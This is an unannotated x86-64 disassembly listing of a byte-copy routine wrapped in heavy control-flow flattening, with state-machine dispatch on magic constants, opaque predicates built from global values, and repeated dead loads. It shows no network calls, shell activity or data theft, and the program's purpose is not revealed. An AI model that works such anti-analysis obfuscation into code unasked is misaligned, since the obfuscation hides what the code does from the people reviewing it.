jmp 0x1400224b0
cmp edx, 0x41f4c7ac
jg 0x140022550
cmp edx, 0x3f51b719
je 0x1400225fb
cmp edx, 0x41be4095
jne 0x1400224b0
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 9
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x1400224b0
cmp edx, 0xb15e3b3
je 0x1400224a3
cmp edx, 0x2412b668
jne 0x1400224b0
mov edx, eax
jmp 0x1400224b0
cmp edx, 0x41f4c7ad
je 0x140022605
cmp edx, 0x67de0e00
jne 0x1400224b0
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140022581
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x1400224b0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x1400224b0
mov edx, 0x2412b668
jmp 0x1400224b0
mov edx, 0xa8389bf0
jmp 0x1400224b0
cmp edx, 0xa8389bf0
jne 0x1400224b0
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 9], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xa]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140022660
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x1400226a0
cmp edx, 0xb15e3b2
jg 0x1400226e0
cmp edx, 0x980db29e
je 0x14002273b
cmp edx, 0xd84b80b0
jne 0x1400227bf
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140022660
cmp edx, 0x41f4c7ac
jg 0x140022700
cmp edx, 0x3f51b719
je 0x1400227ab
cmp edx, 0x41be4095
jne 0x140022660
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xa
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140022660
cmp edx, 0xb15e3b3
je 0x140022653
cmp edx, 0x2412b668
jne 0x140022660
mov edx, eax
jmp 0x140022660
cmp edx, 0x41f4c7ad
je 0x1400227b5
cmp edx, 0x67de0e00
jne 0x140022660
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140022731
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140022660
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140022660
mov edx, 0x2412b668
jmp 0x140022660
mov edx, 0xa8389bf0
jmp 0x140022660
cmp edx, 0xa8389bf0
jne 0x140022660
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xa], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xb]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140022810
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140022850
cmp edx, 0xb15e3b2
jg 0x140022890
cmp edx, 0x980db29e
je 0x1400228eb
cmp edx, 0xd84b80b0
jne 0x14002296f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140022810
cmp edx, 0x41f4c7ac
jg 0x1400228b0
cmp edx, 0x3f51b719
je 0x14002295b
cmp edx, 0x41be4095
jne 0x140022810
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xb
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140022810
cmp edx, 0xb15e3b3
je 0x140022803
cmp edx, 0x2412b668
jne 0x140022810
mov edx, eax
jmp 0x140022810
cmp edx, 0x41f4c7ad
je 0x140022965
cmp edx, 0x67de0e00
jne 0x140022810
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x1400228e1
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140022810
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140022810
mov edx, 0x2412b668
jmp 0x140022810
mov edx, 0xa8389bf0
jmp 0x140022810
cmp edx, 0xa8389bf0
jne 0x140022810
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xb], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xc]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x1400229c0
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140022a00
cmp edx, 0xb15e3b2
jg 0x140022a40
cmp edx, 0x980db29e
je 0x140022a9b
cmp edx, 0xd84b80b0
jne 0x140022b1f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x1400229c0
cmp edx, 0x41f4c7ac
jg 0x140022a60
cmp edx, 0x3f51b719
je 0x140022b0b
cmp edx, 0x41be4095
jne 0x1400229c0
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xc
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x1400229c0
cmp edx, 0xb15e3b3
je 0x1400229b3
cmp edx, 0x2412b668
jne 0x1400229c0
mov edx, eax
jmp 0x1400229c0
cmp edx, 0x41f4c7ad
je 0x140022b15
cmp edx, 0x67de0e00
jne 0x1400229c0
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140022a91
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x1400229c0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x1400229c0
mov edx, 0x2412b668
jmp 0x1400229c0
mov edx, 0xa8389bf0
jmp 0x1400229c0
cmp edx, 0xa8389bf0
jne 0x1400229c0
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xc], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xd]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140022b70
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140022bb0
cmp edx, 0xb15e3b2
jg 0x140022bf0
cmp edx, 0x980db29e
je 0x140022c4b
cmp edx, 0xd84b80b0
jne 0x140022ccf
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140022b70
cmp edx, 0x41f4c7ac
jg 0x140022c10
cmp edx, 0x3f51b719
je 0x140022cbb
cmp edx, 0x41be4095
jne 0x140022b70
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xd
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140022b70
cmp edx, 0xb15e3b3
je 0x140022b63
cmp edx, 0x2412b668
jne 0x140022b70
mov edx, eax
jmp 0x140022b70
cmp edx, 0x41f4c7ad
je 0x140022cc5
cmp edx, 0x67de0e00
jne 0x140022b70
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140022c41
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140022b70
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140022b70
mov edx, 0x2412b668
jmp 0x140022b70
mov edx, 0xa8389bf0
jmp 0x140022b70
cmp edx, 0xa8389bf0
jne 0x140022b70
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xd], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xe]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140022d20
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140022d60
cmp edx, 0xb15e3b2
jg 0x140022da0
cmp edx, 0x980db29e
je 0x140022dfb
cmp edx, 0xd84b80b0
jne 0x140022e7f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140022d20
cmp edx, 0x41f4c7ac
jg 0x140022dc0
cmp edx, 0x3f51b719
je 0x140022e6b
cmp edx, 0x41be4095
jne 0x140022d20
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xe
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140022d20
cmp edx, 0xb15e3b3
je 0x140022d13
cmp edx, 0x2412b668
jne 0x140022d20
mov edx, eax
jmp 0x140022d20
cmp edx, 0x41f4c7ad
je 0x140022e75
cmp edx, 0x67de0e00
jne 0x140022d20
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140022df1
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140022d20
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140022d20
mov edx, 0x2412b668
jmp 0x140022d20
mov edx, 0xa8389bf0
jmp 0x140022d20
cmp edx, 0xa8389bf0
jne 0x140022d20
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xe], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xf]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140022ed0
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140022f10
cmp edx, 0xb15e3b2
jg 0x140022f50
cmp edx, 0x980db29e
je 0x140022fab
cmp edx, 0xd84b80b0
jne 0x14002302f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140022ed0
cmp edx, 0x41f4c7ac
jg 0x140022f70
cmp edx, 0x3f51b719
je 0x14002301b
cmp edx, 0x41be4095
jne 0x140022ed0
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xf
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140022ed0
cmp edx, 0xb15e3b3
je 0x140022ec3
cmp edx, 0x2412b668
jne 0x140022ed0
mov edx, eax
jmp 0x140022ed0
cmp edx, 0x41f4c7ad
je 0x140023025
cmp edx, 0x67de0e00
jne 0x140022ed0
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140022fa1
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140022ed0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140022ed0
mov edx, 0x2412b668
jmp 0x140022ed0
mov edx, 0xa8389bf0
jmp 0x140022ed0
cmp edx, 0xa8389bf0
jne 0x140022ed0
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xf], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0x10]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140023080
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x1400230c0
cmp edx, 0xb15e3b2
jg 0x140023100
cmp edx, 0x980db29e
je 0x14002315b
cmp edx, 0xd84b80b0
jne 0x1400231df
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140023080
cmp edx, 0x41f4c7ac
jg 0x140023120
cmp edx, 0x3f51b719
je 0x1400231cb
cmp edx, 0x41be4095
jne 0x140023080
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0x10
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140023080
cmp edx, 0xb15e3b3
je 0x140023073
cmp edx, 0x2412b668
jne 0x140023080
mov edx, eax
jmp 0x140023080
cmp edx, 0x41f4c7ad
je 0x1400231d5
cmp edx, 0x67de0e00
jne 0x140023080
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140023151
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140023080
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140023080
mov edx, 0x2412b668
jmp 0x140023080
mov edx, 0xa8389bf0
jmp 0x140023080
cmp edx, 0xa8389bf0
jne 0x140023080
lea rdx, [r8 + 0x11]
test r10b, 1
mov byte [rbp + 0x50], dil
mov bl, byte [rbp + 0x50]
mov byte [r8 + 0x10], bl
mov qword [rbp + 0x28], rdx
mov rdx, qword [rbp + 0x40]
movzx r8d, byte [rdx + 0x11]
sete byte [rbp + 0x48]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r8, rdx
mov edx, 0x67de0e00
jmp 0x140023230
mov edx, 0x41be4095
cmp edx, 0x3f51b718
jg 0x140023270
cmp edx, 0xb15e3b2
jg 0x1400232b0
cmp edx, 0x980db29e
je 0x14002330b
cmp edx, 0xd84b80b0
jne 0x14002338f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140023230
cmp edx, 0x41f4c7ac
jg 0x1400232d0
cmp edx, 0x3f51b719
je 0x14002337b
cmp edx, 0x41be4095
jne 0x140023230
mov qword [rbp + 0x78], r8
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0x11
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140023230
cmp edx, 0xb15e3b3
je 0x14002322b
cmp edx, 0x2412b668
jne 0x140023230
mov edx, eax
jmp 0x140023230
cmp edx, 0x41f4c7ad
je 0x140023385
cmp edx, 0x67de0e00
jne 0x140023230
movzx ebx, byte [rbp + 0x48]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140023301
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140023230
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140023230
mov edx, 0x2412b668
jmp 0x140023230
mov edx, 0xa8389bf0
jmp 0x140023230
cmp edx, 0xa8389bf0
jne 0x140023230
mov byte [rbp + 0x50], dil
mov al, byte [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
mov byte [rcx], al
mov eax, 0xab5ac9b9
jmp 0x1400233d5
mov eax, dword [0x1400610e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf2e0d0
mov ecx, 0x3cb83e3b
cmove eax, ecx
cmp dword [0x1400610ec], 0xa
cmovl eax, ecx
cmp eax, 0xde54c58c
jle 0x140023420
cmp eax, 0xf2e0cf
jle 0x140023460
cmp eax, 0xf2e0d0
je 0x140024094
cmp eax, 0x271e7b0b
je 0x1400233af
cmp eax, 0x3cb83e3b
jne 0x1400233d5
mov eax, dword [0x1400610e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf2e0d0
mov ecx, 0xcf2afa5a
jmp 0x1400233c8
cmp eax, 0xcac12605
jle 0x140024060
cmp eax, 0xcac12606
je 0x14002409e
cmp eax, 0xd7113711
jne 0x1400244f6
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0x50]
mov eax, 0xd7113711
mov ecx, 0x271e7b0b
cmove eax, ecx
jmp 0x1400233d5
cmp eax, 0xde54c58d
je 0x1400240a8
cmp eax, 0xe32cf5fc
jne 0x1400233d5
movzx r8d, byte [rbp + 0x10]
mov eax, dword [0x1400610e0]
mov edx, dword [0x1400610e4]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp edx, 0xa
setl al
mov ecx, ebx
xor cl, al
mov ecx, 0x3f51b719
mov edi, 0xb15e3b3
cmovne ecx, edi
test ebx, ebx
sete byte [rbp + 0x20]
sete bl
mov edi, 0x3f51b719
cmove ecx, edi
cmp edx, 0xa
setl byte [rbp + 0x58]
cmovl ecx, edi
or bl, al
mov r9d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r9d, eax
mov ebx, 0x980db29e
mov eax, 0xd84b80b0
cmovne ebx, eax
movabs rax, 0x96c93431608e4db
add r8, rax
mov edx, 0x67de0e00
jmp 0x140023500
cmp edx, 0x3f51b718
jg 0x140023540
cmp eax, 0x96a0c41f
je 0x1400242c4
cmp eax, 0xab5ac9b9
jne 0x1400233d5
mov eax, dword [0x1400610e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xde54c58d
mov ecx, 0x96a0c41f
jmp 0x1400233c8
mov eax, 0x3cb83e3b
jmp 0x1400233d5
mov eax, 0xe32cf5fc
jmp 0x1400233d5
mov r9, qword [rbp + 0x28]
mov rax, qword [rbp + 0x40]
movzx r10d, byte [rax + 0x12]
mov eax, dword [0x1400610e0]
mov ecx, dword [0x1400610e4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
setl bl
mov eax, edx
xor al, bl
mov eax, 0x3f51b719
mov edi, 0xb15e3b3
cmovne eax, edi
test edx, edx
sete byte [rbp + 0x20]
sete dl
mov edi, 0x3f51b719
cmove eax, edi
cmp ecx, 0xa
setl byte [rbp + 0x58]
cmovl eax, edi
or dl, bl
mov r11d, 0x980db29e
mov ecx, 0x41f4c7ad
cmovne r11d, ecx
mov edi, 0x980db29e
mov ecx, 0xd84b80b0
cmovne edi, ecx
movabs rcx, 0x96c93431608e4db
add r10, rcx
mov ebx, 0x67de0e00
jmp 0x140024140
cmp ebx, 0x3f51b718
jg 0x140024180
cmp ebx, 0xb15e3b2
jg 0x1400241c0
cmp ebx, 0x41f4c7ac
jg 0x1400241e0
mov r9, qword [rbp + 0x28]
mov rax, qword [rbp + 0x40]
movzx r10d, byte [rax + 0x12]
mov eax, dword [0x1400610e0]
mov ecx, dword [0x1400610e4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
setl bl
mov eax, edx
xor al, bl
mov eax, 0x3f51b719
mov edi, 0xb15e3b3
cmovne eax, edi
test edx, edx
sete byte [rbp + 0x20]
sete dl
mov edi, 0x3f51b719
cmove eax, edi
cmp ecx, 0xa
setl byte [rbp + 0x58]
cmovl eax, edi
or dl, bl
mov r11d, 0x980db29e
mov ecx, 0x41f4c7ad
cmovne r11d, ecx
mov edi, 0x980db29e
mov ecx, 0xd84b80b0
cmovne edi, ecx
movabs rcx, 0x96c93431608e4db
add r10, rcx
mov ebx, 0x67de0e00
jmp 0x140024350
cmp ebx, 0x3f51b718
jg 0x140024390
cmp ebx, 0xb15e3b2
jg 0x1400243d0
cmp ebx, 0x41f4c7ac
jg 0x1400243f0
cmp eax, 0xcf2afa5a
jne 0x1400233d5
mov r8, qword [rbp - 0x30]
mov eax, dword [0x1400610f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1400610f4], 0xa
setl cl
or cl, al
mov ecx, 0x92cb49de
mov eax, 0xf29aa4ea
cmovne ecx, eax
mov edx, 0x92cb49de
mov eax, 0xf2c94e38
cmovne edx, eax
mov ebx, 0xead3799d
mov eax, 0x8ed7f5db
cmovne ebx, eax
mov eax, 0xead3799d
mov edi, 0xd7ca1bb4
cmovne eax, edi
mov edi, 0xfa739284
jmp 0x140024570
mov r8, rsp
mov r9, qword [rbp - 0x60]
mov eax, dword [0x1400610f8]
mov ebx, dword [0x1400610fc]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete byte [rbp + 0x1f]
cmp ebx, 0xa
setl byte [rbp + 0x1e]
mov eax, 0x402deea
jmp 0x14002465d
mov eax, dword [0x1400610f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x71ab2e89
mov ecx, 0x91405216
nop dword [rax]
cmove eax, ecx
cmp dword [0x1400610fc], 0xa
cmovl eax, ecx
cmp eax, 0xe5bf81cc
jle 0x140024690
cmp eax, 0x640dde72
jg 0x1400246d0
cmp eax, 0xe5bf81cd
je 0x140024633
cmp eax, 0x402deea
je 0x14002472f
cmp eax, 0x46aed536
jne 0x14002465d
mov eax, 0xa6e57451
jmp 0x14002465d
cmp eax, 0xaf5188ad
jg 0x1400246fb
cmp eax, 0x91405216
je 0x14002474d
cmp eax, 0x97341992
je 0x14002476b
cmp eax, 0xa6e57451
jne 0x14002465d
mov eax, dword [0x1400610f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x46aed536
mov ecx, 0xb97ba532
jmp 0x140024650
cmp eax, 0x640dde73
je 0x140024775
cmp eax, 0x7179e4c3
je 0x140024d90
cmp eax, 0x71ab2e89
jne 0x14002465d
mov eax, 0x91405216
jmp 0x14002465d
cmp eax, 0xaf5188ae
je 0x140024db2
cmp eax, 0xdbb911a9
jne 0x140024dbc
mov eax, dword [0x1400610f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x46aed536
mov ecx, 0xa6e57451
jmp 0x140024650
mov bl, byte [rbp + 0x1f]
cmp byte [rbp + 0x1e], 0
mov eax, 0xaf5188ae
mov ecx, 0x7179e4c3
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
jmp 0x14002465d
mov eax, dword [0x1400610f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x71ab2e89
mov ecx, 0xdbb911a9
jmp 0x140024650
mov eax, 0x640dde73
jmp 0x14002465d
mov rbx, rsp
mov rdi, qword [rbp + 0x10]
mov eax, dword [0x140061100]
mov esi, dword [0x140061104]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x37]
cmp esi, 0xa
setl byte [rbp + 0x67]
mov eax, 0x135d4390
jmp 0x1400247cd
mov eax, dword [0x140061100]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0x5d53e004
mov ecx, 0x55bbb678
nop dword [rax]
cmove eax, ecx
cmp dword [0x140061104], 0xa
cmovl eax, ecx
cmp eax, 0x135d438f
jg 0x140024830
cmp eax, 0xc68b538b
jle 0x140024890
cmp eax, 0xde6c1bf1
jle 0x140024936
cmp eax, 0x4bead7f
jle 0x140024a2b
cmp eax, 0x9561ed4
je 0x140024bf1
cmp eax, 0xca98735
jne 0x140024d70
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x448da136
mov ecx, 0x98dcca1e
jmp 0x1400247c0
cmp eax, 0x491b712a
jg 0x140024900
cmp eax, 0x2a2c9fdf
jg 0x140024961
cmp eax, 0x24020c8f
jg 0x140024a63
cmp eax, 0x135d4390
je 0x140024bfb
cmp eax, 0x16d0b77a
jne 0x1400247cd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x28dc1747
